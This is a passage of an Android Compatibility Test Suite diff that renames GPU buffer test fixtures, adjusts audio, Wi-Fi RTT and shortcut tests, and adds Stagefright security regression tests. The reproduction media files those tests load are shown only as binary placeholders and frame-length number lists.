-TEST_P(AHardwareBufferColorFormatTest, GpuColorOutputAndSampledImage) {
+TEST_P(ColorTest, GpuColorOutputAndSampledImage) {
AHardwareBuffer_Desc desc = GetParam();
desc.usage = AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT | AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
if (!SetUpBuffer(desc)) return;
@@ -1404,7 +1432,7 @@
CheckGoldenPixels(goldens, GL_RGBA8);
}
-TEST_P(AHardwareBufferColorFormatTest, MipmapComplete) {
+TEST_P(ColorTest, MipmapComplete) {
const int kNumTiles = 8;
AHardwareBuffer_Desc desc = GetParam();
// Ensure that the checkerboard tiles have equal size at every level of the mipmap.
@@ -1447,7 +1475,7 @@
CheckGoldenPixels(goldens, desc.format);
}
-TEST_P(AHardwareBufferColorFormatTest, CubemapSampling) {
+TEST_P(ColorTest, CubemapSampling) {
AHardwareBuffer_Desc desc = GetParam();
desc.usage =
AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT |
@@ -1496,7 +1524,7 @@
}
}
-TEST_P(AHardwareBufferColorFormatTest, CubemapMipmaps) {
+TEST_P(ColorTest, CubemapMipmaps) {
const int kNumTiles = 8;
AHardwareBuffer_Desc desc = GetParam();
desc.usage =
@@ -1543,49 +1571,49 @@
// The 'stride' field is used to pass a combination of TestFlags.
INSTANTIATE_TEST_CASE_P(
- SingleLayer,
- AHardwareBufferColorFormatTest,
+ SingleLayer, ColorTest,
::testing::Values(
- /* 0*/ AHardwareBuffer_Desc{75, 33, 1, GL_RGB8, 0, kGlFormat, 0, 0},
- /* 1*/ AHardwareBuffer_Desc{64, 80, 1, GL_RGBA8, 0, kGlFormat, 0, 0},
- /* 2*/ AHardwareBuffer_Desc{49, 23, 1, GL_SRGB8_ALPHA8, 0, kGlFormat | kUseSrgb, 0, 0},
- /* 3*/ AHardwareBuffer_Desc{42, 41, 1, GL_RGBA16F, 0, kGlFormat, 0, 0},
- /* 4*/ AHardwareBuffer_Desc{37, 63, 1, GL_RGB10_A2, 0, kGlFormat, 0, 0},
- /* 5*/ AHardwareBuffer_Desc{33, 20, 1, AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM, 0, 0, 0, 0},
- /* 6*/ AHardwareBuffer_Desc{33, 20, 1, AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM, 0, kUseSrgb, 0, 0},
- /* 7*/ AHardwareBuffer_Desc{20, 10, 1, AHARDWAREBUFFER_FORMAT_R8G8B8X8_UNORM, 0, 0, 0, 0},
- /* 8*/ AHardwareBuffer_Desc{20, 10, 1, AHARDWAREBUFFER_FORMAT_R8G8B8X8_UNORM, 0, kUseSrgb, 0, 0},
- /* 9*/ AHardwareBuffer_Desc{16, 20, 1, AHARDWAREBUFFER_FORMAT_R8G8B8_UNORM, 0, 0, 0, 0},
- /*10*/ AHardwareBuffer_Desc{16, 20, 1, AHARDWAREBUFFER_FORMAT_R8G8B8_UNORM, 0, kUseSrgb, 0, 0},
- /*11*/ AHardwareBuffer_Desc{10, 20, 1, AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM, 0, 0, 0, 0},
- /*12*/ AHardwareBuffer_Desc{10, 20, 1, AHARDWAREBUFFER_FORMAT_R16G16B16A16_FLOAT, 0, 0, 0, 0},
- /*13*/ AHardwareBuffer_Desc{10, 20, 1, AHARDWAREBUFFER_FORMAT_R10G10B10A2_UNORM, 0, 0, 0, 0}));
+ AHardwareBuffer_Desc{75, 33, 1, GL_RGB8, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{64, 80, 1, GL_RGBA8, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{49, 23, 1, GL_SRGB8_ALPHA8, 0, kGlFormat | kUseSrgb, 0, 0},
+ AHardwareBuffer_Desc{42, 41, 1, GL_RGBA16F, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{37, 63, 1, GL_RGB10_A2, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{33, 20, 1, AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{33, 20, 1, AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM, 0, kUseSrgb, 0, 0},
+ AHardwareBuffer_Desc{20, 10, 1, AHARDWAREBUFFER_FORMAT_R8G8B8X8_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{20, 10, 1, AHARDWAREBUFFER_FORMAT_R8G8B8X8_UNORM, 0, kUseSrgb, 0, 0},
+ AHardwareBuffer_Desc{16, 20, 1, AHARDWAREBUFFER_FORMAT_R8G8B8_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{16, 20, 1, AHARDWAREBUFFER_FORMAT_R8G8B8_UNORM, 0, kUseSrgb, 0, 0},
+ AHardwareBuffer_Desc{10, 20, 1, AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{10, 20, 1, AHARDWAREBUFFER_FORMAT_R16G16B16A16_FLOAT, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{10, 20, 1, AHARDWAREBUFFER_FORMAT_R10G10B10A2_UNORM, 0, 0, 0, 0}),
+ &GetTestName);
INSTANTIATE_TEST_CASE_P(
- MultipleLayers,
- AHardwareBufferColorFormatTest,
+ MultipleLayers, ColorTest,
::testing::Values(
- /* 0*/ AHardwareBuffer_Desc{75, 33, 5, GL_RGB8, 0, kGlFormat, 0, 0},
- /* 1*/ AHardwareBuffer_Desc{64, 80, 6, GL_RGBA8, 0, kGlFormat, 0, 0},
- /* 2*/ AHardwareBuffer_Desc{33, 28, 4, GL_SRGB8_ALPHA8, 0, kGlFormat | kUseSrgb, 0, 0},
- /* 3*/ AHardwareBuffer_Desc{42, 41, 3, GL_RGBA16F, 0, kGlFormat, 0, 0},
- /* 4*/ AHardwareBuffer_Desc{37, 63, 4, GL_RGB10_A2, 0, kGlFormat, 0, 0},
- /* 5*/ AHardwareBuffer_Desc{25, 77, 7, AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM, 0, 0, 0, 0},
- /* 6*/ AHardwareBuffer_Desc{25, 77, 7, AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM, 0, kUseSrgb, 0, 0},
- /* 7*/ AHardwareBuffer_Desc{30, 30, 3, AHARDWAREBUFFER_FORMAT_R8G8B8X8_UNORM, 0, 0, 0, 0},
- /* 8*/ AHardwareBuffer_Desc{30, 30, 3, AHARDWAREBUFFER_FORMAT_R8G8B8X8_UNORM, 0, kUseSrgb, 0, 0},
- /* 9*/ AHardwareBuffer_Desc{50, 50, 4, AHARDWAREBUFFER_FORMAT_R8G8B8_UNORM, 0, 0, 0, 0},
- /*10*/ AHardwareBuffer_Desc{50, 50, 4, AHARDWAREBUFFER_FORMAT_R8G8B8_UNORM, 0, kUseSrgb, 0, 0},
- /*11*/ AHardwareBuffer_Desc{20, 10, 2, AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM, 0, 0, 0, 0},
- /*12*/ AHardwareBuffer_Desc{20, 20, 4, AHARDWAREBUFFER_FORMAT_R16G16B16A16_FLOAT, 0, 0, 0, 0},
- /*13*/ AHardwareBuffer_Desc{30, 20, 16, AHARDWAREBUFFER_FORMAT_R10G10B10A2_UNORM, 0, 0, 0, 0}));
+ AHardwareBuffer_Desc{75, 33, 5, GL_RGB8, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{64, 80, 6, GL_RGBA8, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{33, 28, 4, GL_SRGB8_ALPHA8, 0, kGlFormat | kUseSrgb, 0, 0},
+ AHardwareBuffer_Desc{42, 41, 3, GL_RGBA16F, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{37, 63, 4, GL_RGB10_A2, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{25, 77, 7, AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{25, 77, 7, AHARDWAREBUFFER_FORMAT_R8G8B8A8_UNORM, 0, kUseSrgb, 0, 0},
+ AHardwareBuffer_Desc{30, 30, 3, AHARDWAREBUFFER_FORMAT_R8G8B8X8_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{30, 30, 3, AHARDWAREBUFFER_FORMAT_R8G8B8X8_UNORM, 0, kUseSrgb, 0, 0},
+ AHardwareBuffer_Desc{50, 50, 4, AHARDWAREBUFFER_FORMAT_R8G8B8_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{50, 50, 4, AHARDWAREBUFFER_FORMAT_R8G8B8_UNORM, 0, kUseSrgb, 0, 0},
+ AHardwareBuffer_Desc{20, 10, 2, AHARDWAREBUFFER_FORMAT_R5G6B5_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{20, 20, 4, AHARDWAREBUFFER_FORMAT_R16G16B16A16_FLOAT, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{30, 20, 16, AHARDWAREBUFFER_FORMAT_R10G10B10A2_UNORM, 0, 0, 0, 0}),
+ &GetTestName);
-class AHardwareBufferDepthFormatTest : public AHardwareBufferGLTest {};
+class DepthTest : public AHardwareBufferGLTest {};
// Verify that depth testing against a depth buffer rendered in another context
// works correctly.
-TEST_P(AHardwareBufferDepthFormatTest, DepthAffectsDrawAcrossContexts) {
+TEST_P(DepthTest, DepthAffectsDrawAcrossContexts) {
AHardwareBuffer_Desc desc = GetParam();
desc.width = 40;
desc.height = 40;
@@ -1626,7 +1654,7 @@
}
// Verify that depth buffers with usage GPU_SAMPLED_IMAGE can be used as textures.
-TEST_P(AHardwareBufferDepthFormatTest, DepthCanBeSampled) {
+TEST_P(DepthTest, DepthCanBeSampled) {
AHardwareBuffer_Desc desc = GetParam();
desc.usage = AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT | AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
// ES 2.0 does not support depth textures. There is an extension OES_depth_texture, but it is
@@ -1675,7 +1703,7 @@
CheckGoldenPixels(goldens, GL_RGBA8);
}
-TEST_P(AHardwareBufferDepthFormatTest, DepthCubemapSampling) {
+TEST_P(DepthTest, DepthCubemapSampling) {
AHardwareBuffer_Desc desc = GetParam();
desc.usage =
AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT |
@@ -1736,34 +1764,34 @@
// The 'stride' field is used to pass a combination of TestFlags.
INSTANTIATE_TEST_CASE_P(
- SingleLayer,
- AHardwareBufferDepthFormatTest,
+ SingleLayer, DepthTest,
::testing::Values(
- /*0*/ AHardwareBuffer_Desc{16, 24, 1, GL_DEPTH_COMPONENT16, 0, kGlFormat, 0, 0},
- /*1*/ AHardwareBuffer_Desc{16, 24, 1, AHARDWAREBUFFER_FORMAT_D16_UNORM, 0, 0, 0, 0},
- /*2*/ AHardwareBuffer_Desc{44, 21, 1, AHARDWAREBUFFER_FORMAT_D24_UNORM, 0, 0, 0, 0},
- /*3*/ AHardwareBuffer_Desc{57, 33, 1, AHARDWAREBUFFER_FORMAT_D24_UNORM_S8_UINT, 0, 0, 0, 0},
- /*4*/ AHardwareBuffer_Desc{20, 10, 1, AHARDWAREBUFFER_FORMAT_D32_FLOAT, 0, 0, 0, 0},
- /*5*/ AHardwareBuffer_Desc{57, 33, 1, AHARDWAREBUFFER_FORMAT_D32_FLOAT_S8_UINT, 0, 0, 0, 0}));
+ AHardwareBuffer_Desc{16, 24, 1, GL_DEPTH_COMPONENT16, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{16, 24, 1, AHARDWAREBUFFER_FORMAT_D16_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{44, 21, 1, AHARDWAREBUFFER_FORMAT_D24_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{57, 33, 1, AHARDWAREBUFFER_FORMAT_D24_UNORM_S8_UINT, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{20, 10, 1, AHARDWAREBUFFER_FORMAT_D32_FLOAT, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{57, 33, 1, AHARDWAREBUFFER_FORMAT_D32_FLOAT_S8_UINT, 0, 0, 0, 0}),
+ &GetTestName);
INSTANTIATE_TEST_CASE_P(
- MultipleLayers,
- AHardwareBufferDepthFormatTest,
+ MultipleLayers, DepthTest,
::testing::Values(
- /*0*/ AHardwareBuffer_Desc{16, 24, 6, GL_DEPTH_COMPONENT16, 0, kGlFormat, 0, 0},
- /*1*/ AHardwareBuffer_Desc{16, 24, 6, AHARDWAREBUFFER_FORMAT_D16_UNORM, 0, 0, 0, 0},
- /*2*/ AHardwareBuffer_Desc{44, 21, 4, AHARDWAREBUFFER_FORMAT_D24_UNORM, 0, 0, 0, 0},
- /*3*/ AHardwareBuffer_Desc{57, 33, 7, AHARDWAREBUFFER_FORMAT_D24_UNORM_S8_UINT, 0, 0, 0, 0},
- /*4*/ AHardwareBuffer_Desc{20, 10, 5, AHARDWAREBUFFER_FORMAT_D32_FLOAT, 0, 0, 0, 0},
- /*5*/ AHardwareBuffer_Desc{57, 33, 3, AHARDWAREBUFFER_FORMAT_D32_FLOAT_S8_UINT, 0, 0, 0, 0}));
+ AHardwareBuffer_Desc{16, 24, 6, GL_DEPTH_COMPONENT16, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{16, 24, 6, AHARDWAREBUFFER_FORMAT_D16_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{44, 21, 4, AHARDWAREBUFFER_FORMAT_D24_UNORM, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{57, 33, 7, AHARDWAREBUFFER_FORMAT_D24_UNORM_S8_UINT, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{20, 10, 5, AHARDWAREBUFFER_FORMAT_D32_FLOAT, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{57, 33, 3, AHARDWAREBUFFER_FORMAT_D32_FLOAT_S8_UINT, 0, 0, 0, 0}),
+ &GetTestName);
-class AHardwareBufferStencilFormatTest : public AHardwareBufferGLTest {};
+class StencilTest : public AHardwareBufferGLTest {};
// Verify that stencil testing against a stencil buffer rendered in another context
// works correctly.
-TEST_P(AHardwareBufferStencilFormatTest, StencilAffectsDrawAcrossContexts) {
+TEST_P(StencilTest, StencilAffectsDrawAcrossContexts) {
AHardwareBuffer_Desc desc = GetParam();
desc.width = 40;
desc.height = 40;
@@ -1814,7 +1842,7 @@
// Verify that stencil testing against a stencil buffer rendered in another context
// works correctly.
-TEST_P(AHardwareBufferStencilFormatTest, StencilTexture) {
+TEST_P(StencilTest, StencilTexture) {
AHardwareBuffer_Desc desc = GetParam();
desc.usage = AHARDWAREBUFFER_USAGE_GPU_COLOR_OUTPUT | AHARDWAREBUFFER_USAGE_GPU_SAMPLED_IMAGE;
const bool kPureStencil =
@@ -1865,23 +1893,23 @@
// The 'stride' field is used to pass a combination of TestFlags.
INSTANTIATE_TEST_CASE_P(
- SingleLayer,
- AHardwareBufferStencilFormatTest,
+ SingleLayer, StencilTest,
::testing::Values(
- /*0*/ AHardwareBuffer_Desc{49, 57, 1, GL_STENCIL_INDEX8, 0, kGlFormat, 0, 0},
- /*1*/ AHardwareBuffer_Desc{36, 50, 1, GL_DEPTH24_STENCIL8, 0, kGlFormat, 0, 0},
- /*2*/ AHardwareBuffer_Desc{26, 29, 1, AHARDWAREBUFFER_FORMAT_S8_UINT, 0, 0, 0, 0},
- /*3*/ AHardwareBuffer_Desc{57, 33, 1, AHARDWAREBUFFER_FORMAT_D24_UNORM_S8_UINT, 0, 0, 0, 0},
- /*4*/ AHardwareBuffer_Desc{17, 23, 1, AHARDWAREBUFFER_FORMAT_D32_FLOAT_S8_UINT, 0, 0, 0, 0}));
+ AHardwareBuffer_Desc{49, 57, 1, GL_STENCIL_INDEX8, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{36, 50, 1, GL_DEPTH24_STENCIL8, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{26, 29, 1, AHARDWAREBUFFER_FORMAT_S8_UINT, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{57, 33, 1, AHARDWAREBUFFER_FORMAT_D24_UNORM_S8_UINT, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{17, 23, 1, AHARDWAREBUFFER_FORMAT_D32_FLOAT_S8_UINT, 0, 0, 0, 0}),
+ &GetTestName);
INSTANTIATE_TEST_CASE_P(
- MultipleLayers,
- AHardwareBufferStencilFormatTest,
+ MultipleLayers, StencilTest,
::testing::Values(
- /*0*/ AHardwareBuffer_Desc{49, 57, 3, GL_STENCIL_INDEX8, 0, kGlFormat, 0, 0},
- /*1*/ AHardwareBuffer_Desc{36, 50, 6, GL_DEPTH24_STENCIL8, 0, kGlFormat, 0, 0},
- /*2*/ AHardwareBuffer_Desc{26, 29, 5, AHARDWAREBUFFER_FORMAT_S8_UINT, 0, 0, 0, 0},
- /*3*/ AHardwareBuffer_Desc{57, 33, 4, AHARDWAREBUFFER_FORMAT_D24_UNORM_S8_UINT, 0, 0, 0, 0},
- /*4*/ AHardwareBuffer_Desc{17, 23, 7, AHARDWAREBUFFER_FORMAT_D32_FLOAT_S8_UINT, 0, 0, 0, 0}));
+ AHardwareBuffer_Desc{49, 57, 3, GL_STENCIL_INDEX8, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{36, 50, 6, GL_DEPTH24_STENCIL8, 0, kGlFormat, 0, 0},
+ AHardwareBuffer_Desc{26, 29, 5, AHARDWAREBUFFER_FORMAT_S8_UINT, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{57, 33, 4, AHARDWAREBUFFER_FORMAT_D24_UNORM_S8_UINT, 0, 0, 0, 0},
+ AHardwareBuffer_Desc{17, 23, 7, AHARDWAREBUFFER_FORMAT_D32_FLOAT_S8_UINT, 0, 0, 0, 0}),
+ &GetTestName);
} // namespace android
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index 30b326d..141b867 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -366,10 +366,3 @@
std::make_tuple(
AAUDIO_SHARING_MODE_EXCLUSIVE, AAUDIO_PERFORMANCE_MODE_POWER_SAVING)),
&getTestName);
-
-
-int main(int argc, char **argv) {
- testing::InitGoogleTest(&argc, argv);
-
- return RUN_ALL_TESTS();
-}
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
index 6143613..d48aeab 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio_attributes.cpp
@@ -132,10 +132,15 @@
AAUDIO_INPUT_PRESET_UNPROCESSED,
};
+
static void checkAttributesUsage(aaudio_performance_mode_t perfMode) {
for (aaudio_usage_t usage : sUsages) {
+ // There can be a race condition when switching between devices,
+ // which can cause an unexpected disconnection of the stream.
+ usleep(500 * 1000); // wait for previous stream to completely close
checkAttributes(perfMode, usage, DONT_SET);
}
+ usleep(500 * 1000); // wait for previous stream to completely close
}
static void checkAttributesContentType(aaudio_input_preset_t perfMode) {
diff --git a/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 1171a6b..74a0c3d 100644
--- a/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -157,7 +157,8 @@
reportLog.submit();
// Analyze results
- assertTrue("Wi-Fi RTT failure rate exceeds threshold",
+ assertTrue("Wi-Fi RTT failure rate exceeds threshold: FAIL=" + numFailures + ", ITERATIONS="
+ + NUM_OF_RTT_ITERATIONS,
numFailures <= NUM_OF_RTT_ITERATIONS * MAX_FAILURE_RATE_PERCENT / 100);
if (numFailures != NUM_OF_RTT_ITERATIONS) {
double distanceAvg = distanceSum / (NUM_OF_RTT_ITERATIONS - numFailures);
diff --git a/tests/tests/security/res/raw/bug_33641588_avc.mp4 b/tests/tests/security/res/raw/bug_33641588_avc.mp4
new file mode 100644
index 0000000..0913e79
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_33641588_avc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_35039946_hevc.mp4 b/tests/tests/security/res/raw/bug_35039946_hevc.mp4
new file mode 100644
index 0000000..d030814
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_35039946_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36715268.mp4 b/tests/tests/security/res/raw/bug_36715268.mp4
new file mode 100644
index 0000000..77a37c9
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36715268.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_36819262_mpeg2.mp4 b/tests/tests/security/res/raw/bug_36819262_mpeg2.mp4
new file mode 100644
index 0000000..230d58f
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36819262_mpeg2.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_65186291_framelen.mp4 b/tests/tests/security/res/raw/bug_65186291_framelen.mp4
new file mode 100644
index 0000000..51ccb38
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_65186291_framelen.mp4
@@ -0,0 +1,2 @@
+113
+109
diff --git a/tests/tests/security/res/raw/bug_65186291_hevc.mp4 b/tests/tests/security/res/raw/bug_65186291_hevc.mp4
new file mode 100644
index 0000000..1aa87ba
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_65186291_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_73965890_framelen.mp4 b/tests/tests/security/res/raw/bug_73965890_framelen.mp4
new file mode 100644
index 0000000..f628070
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_73965890_framelen.mp4
@@ -0,0 +1,160 @@
+29
+16
+101
+27
+22
+114
+88
+143
+109
+8
+144
+220
+206
+30
+754
+55
+22
+11
+158
+57
+27
+224
+39
+4
+143
+84
+99
+57
+27
+198
+39
+4
+144
+27
+295
+348
+144
+104
+179
+92
+0
+431
+22
+11
+26
+242
+4
+1612
+81
+186
+67
+26
+23
+11
+23
+40
+538
+22
+70
+99
+84
+218
+47
+43
+143
+71
+112
+84
+160
+87
+348
+144
+219
+179
+84
+242
+4
+1474
+90
+281
+38
+149
+27
+30
+148
+172
+26
+28
+90
+75
+53
+124
+129
+26
+23
+11
+23
+40
+0
+61
+27
+510
+30
+27
+59
+99
+27
+30
+487
+50
+73
+26
+84
+139
+18
+27
+54
+84
+122
+27
+510
+30
+22
+11
+158
+84
+431
+0
+123
+12
+14
+27
+30
+148
+2558
+81
+154
+67
+26
+23
+11
+23
+40
+0
+398
+4
+165
+53
+124
+129
+26
+23
+11
+23
+40
+431
+22
+11
+158
+2443
diff --git a/tests/tests/security/res/raw/bug_73965890_hevc.mp4 b/tests/tests/security/res/raw/bug_73965890_hevc.mp4
new file mode 100644
index 0000000..6c6dbff
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_73965890_hevc.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3742_b_28165659.mp4 b/tests/tests/security/res/raw/cve_2016_3742_b_28165659.mp4
new file mode 100644
index 0000000..3b5003d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3742_b_28165659.mp4
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2016_3920.mp3 b/tests/tests/security/res/raw/cve_2016_3920.mp3
new file mode 100644
index 0000000..8c2abfc
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2016_3920.mp3
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
index 690f661..58f9192 100644
--- a/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
+++ b/tests/tests/security/src/android/security/cts/ListeningPortsTest.java
@@ -105,9 +105,11 @@
* unauthorized access to computers systems without user knowledge or
* awareness.
*/
+ /* Disabling this test due to ims_rtp_daemon listening on a random UDP6 port per b/110264058.
public void testNoRemotelyAccessibleListeningUdp6Ports() throws Exception {
assertNoRemotelyAccessibleListeningUdpPorts("/proc/net/udp6", false);
}
+ */
/**
* Locally accessible ports are often targeted by malicious locally
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 0e3c306..4e128bc 100755
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -303,6 +303,17 @@
***********************************************************/
@SecurityTest
+ public void testBug_73965890() throws Exception {
+ int[] frameSizes = getFrameSizes(R.raw.bug_73965890_framelen);
+ doStagefrightTestRawBlob(R.raw.bug_73965890_hevc, "video/hevc", 320, 240, frameSizes);
+ }
+
+ @SecurityTest
+ public void testStagefright_cve_2016_3920() throws Exception {
+ doStagefrightTest(R.raw.cve_2016_3920);
+ }
+
+ @SecurityTest
public void testStagefright_bug_68953854() throws Exception {
doStagefrightTest(R.raw.bug_68953854, 1 * 60 * 1000);
}
@@ -323,6 +334,16 @@
}
@SecurityTest
+ public void testStagefright_cve_2016_3742_b_28165659() throws Exception {
+ doStagefrightTest(R.raw.cve_2016_3742_b_28165659);
+ }
+
+ @SecurityTest
+ public void testStagefright_bug_35039946() throws Exception {
+ doStagefrightTestRawBlob(R.raw.bug_35039946_hevc, "video/hevc", 320, 420);
+ }
+
+ @SecurityTest
public void testStagefright_bug_38115076() throws Exception {
doStagefrightTest(R.raw.bug_38115076);
}
@@ -702,6 +723,11 @@
}
@SecurityTest
+ public void testBug_33641588() throws Exception {
+ doStagefrightTestRawBlob(R.raw.bug_33641588_avc, "video/avc", 320, 240);
+ }
+
+ @SecurityTest
public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
doStagefrightTest(R.raw.cve_2015_3862_b_22954006);
}
@@ -772,11 +798,21 @@
}
@SecurityTest
+ public void testBug_36819262() throws Exception {
+ doStagefrightTestRawBlob(R.raw.bug_36819262_mpeg2, "video/mpeg2", 640, 480);
+ }
+
+ @SecurityTest
public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
}
@SecurityTest
+ public void testStagefright_bug_36715268() throws Exception {
+ doStagefrightTest(R.raw.bug_36715268);
+ }
+
+ @SecurityTest
public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
doStagefrightTest(R.raw.bug_27855419);
}
@@ -826,6 +862,12 @@
***********************************************************/
@SecurityTest
+ public void testBug_65186291() throws Exception {
+ int[] frameSizes = getFrameSizes(R.raw.bug_65186291_framelen);
+ doStagefrightTestRawBlob(R.raw.bug_65186291_hevc, "video/hevc", 1920, 1080, frameSizes);
+ }
+
+ @SecurityTest
public void testBug_67737022() throws Exception {
doStagefrightTest(R.raw.bug_67737022);
}
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
index cdb14d1..be9f10d 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerStartShortcutTest.java
@@ -24,6 +24,7 @@
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.content.pm.PackageManager;
import android.graphics.Rect;
import android.os.Bundle;
import android.test.suitebuilder.annotation.SmallTest;
@@ -36,12 +37,15 @@
@SmallTest
public class ShortcutManagerStartShortcutTest extends ShortcutManagerCtsTestsBase {
private ComponentName mLaunchedActivity;
+ private boolean mOnWatch;
@Override
protected void setUp() throws Exception {
super.setUp();
mLaunchedActivity = new ComponentName(getTestContext(), ShortcutLaunchedActivity.class);
+ mOnWatch = getTestContext().getPackageManager().hasSystemFeature(
+ PackageManager.FEATURE_WATCH);
}
private List<Intent> launchShortcutAndGetIntents(Context launcher, Context client,
@@ -118,6 +122,9 @@
* Start multiple activities.
*/
public void testStartMultiple() {
+ if (mOnWatch) {
+ return; // b/109678268
+ }
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
Intent i1 = new Intent("a1")
@@ -180,6 +187,9 @@
}
public void testShortcutNoLongerExists() {
+ if (mOnWatch) {
+ return; // b/109678268
+ }
// Let it publish a shortcut.
testStartMultiple();
@@ -215,6 +225,9 @@
}
public void testPinnedShortcut_sameLauncher() {
+ if (mOnWatch) {
+ return; // b/109678268
+ }
// Let it publish a shortcut.
testStartSingle();
@@ -237,6 +250,9 @@
}
public void testPinnedShortcut_differentLauncher() {
+ if (mOnWatch) {
+ return; // b/109678268
+ }
// Let it publish a shortcut.
testStartSingle();
@@ -285,6 +301,9 @@
}
public void testStartMultipleWithOptions() {
+ if (mOnWatch) {
+ return; // b/109678268
+ }
testStartMultiple();
List<Intent> launched = launchShortcutAndGetIntents(mLauncherContext1, mPackageContext1,
@@ -302,6 +321,9 @@
}
public void testNonExistent() {
+ if (mOnWatch) {
+ return; // b/109678268
+ }
setDefaultLauncher(getInstrumentation(), mLauncherContext1);
Intent i = new Intent(Intent.ACTION_MAIN)
diff --git a/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/RttOperationsTest.java
